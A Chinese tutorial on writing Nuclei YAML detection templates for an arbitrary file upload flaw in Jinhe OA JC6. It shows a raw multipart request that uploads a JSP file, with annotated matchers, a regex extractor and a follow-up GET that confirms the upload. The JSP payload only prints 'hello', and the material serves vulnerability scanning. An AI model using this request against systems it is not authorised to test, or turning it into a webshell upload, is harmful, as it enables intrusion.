【脚本编写】Nuclei-yaml脚本速成新手教程文件上传篇2

id: jinhe-JC6-Upload-uploadfileinfo:  name: jinhe-JC6-Upload-uploadfile  author: 思沃科技  severity: critical  description: 金和OA JC6 Upload任意文件上传漏洞

id: jinhe-JC6-Upload-uploadfileinfo:  name: jinhe-JC6-Upload-uploadfile  author: 思沃科技  severity: critical  description: 金和OA JC6 Upload任意文件上传漏洞http:  - raw:      - |        POST /jc6/servlet/Upload?officeSaveFlag=0&dbimg=false&path=&setpath=/upload/ HTTP/1.1        User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1        Content-Type: multipart/form-data; boundary=00content0boundary00        Host: {{Hostname}}        Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2        Connection: close        Content-Length: 169        --00content0boundary00        Content-Disposition: form-data; name="img"; filename="1.jsp"        Content-Type: image/jpeg        <% out.println("hello"); %>    #上传文件内容为hello        --00content0boundary00--

    matchers:        # 匹配器      - type: status  #定义匹配类型为status（响应码）        status:          - 200       # 响应码为200      - type: word    #定义第二个匹配条件为关键词        part: body    #匹配位置：返回包的body处        words:          - ".jsp"   #匹配返回包中，包含.jsp字符串的内容    matchers-condition: and     #上述两个条件均匹配，然后返回为true

extractors:    #正则提取器  - type: regex   #正则表达式    part: body    # 匹配位置为返回包的body位置    internal: true  #因为我们要从终端信息中提取内容，所以需要用到这个参数    name: wj   #定义变量名wj，意思是将正则表达式匹配到的内容，保存到wj变量中；    regex:      - ([0-9a-z]{32}).jsp   #匹配数字0-9，小写字母a-z，并且长度为32位，结尾为.jsp的内容

 extractors:    #正则提取器      - type: regex   #正则表达式        part: body    # 匹配位置为返回包的body位置        internal: true  #因为我们要从终端信息中提取内容，所以需要用到这个参数        name: wj   #定义变量名wj，意思是将正则表达式匹配到的内容，保存到wj变量中；        regex:          - ([0-9a-z]{32}).jsp   #匹配数字0-9，小写字母a-z，并且长度为32位，结尾为.jsp的内容  matchers:      - type: dsl        dsl:          - 'status_code==200 && contains_all(body,"hello")'

id: jinhe-JC6-Upload-uploadfileinfo:  name: jinhe-JC6-Upload-uploadfile  author: 思沃科技  severity: critical  description: 金和OA JC6 Upload任意文件上传漏洞http:  - raw:      - |        POST /jc6/servlet/Upload?officeSaveFlag=0&dbimg=false&path=&setpath=/upload/ HTTP/1.1        User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1        Content-Type: multipart/form-data; boundary=00content0boundary00        Host: {{Hostname}}        Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2        Connection: close        Content-Length: 169        --00content0boundary00        Content-Disposition: form-data; name="img"; filename="1.jsp"        Content-Type: image/jpeg        <% out.println("hello"); %>        --00content0boundary00--      - |                            #新增一个GET请求        GET /jc6/upload/{{wj}} HTTP/1.1        User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1        Host: {{Hostname}}        Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2        Connection: close    extractors:      - type: regex        part: body        internal: true        name: wj        regex:          - ([0-9a-z]{32}).jsp    matchers:      - type: dsl        dsl:          - 'status_code_2==200 && contains_all(body_2,"hello")'    #匹配响应码为200，并且文本内容包含hello字符串的页面#这里有个细节，最后面的规则，我都加了个_2，表示匹配第二个请求体的结果，这样会更精确一些，不加的话也行，只不过会匹配全局所有请求，那么可能会存一点点的误报率。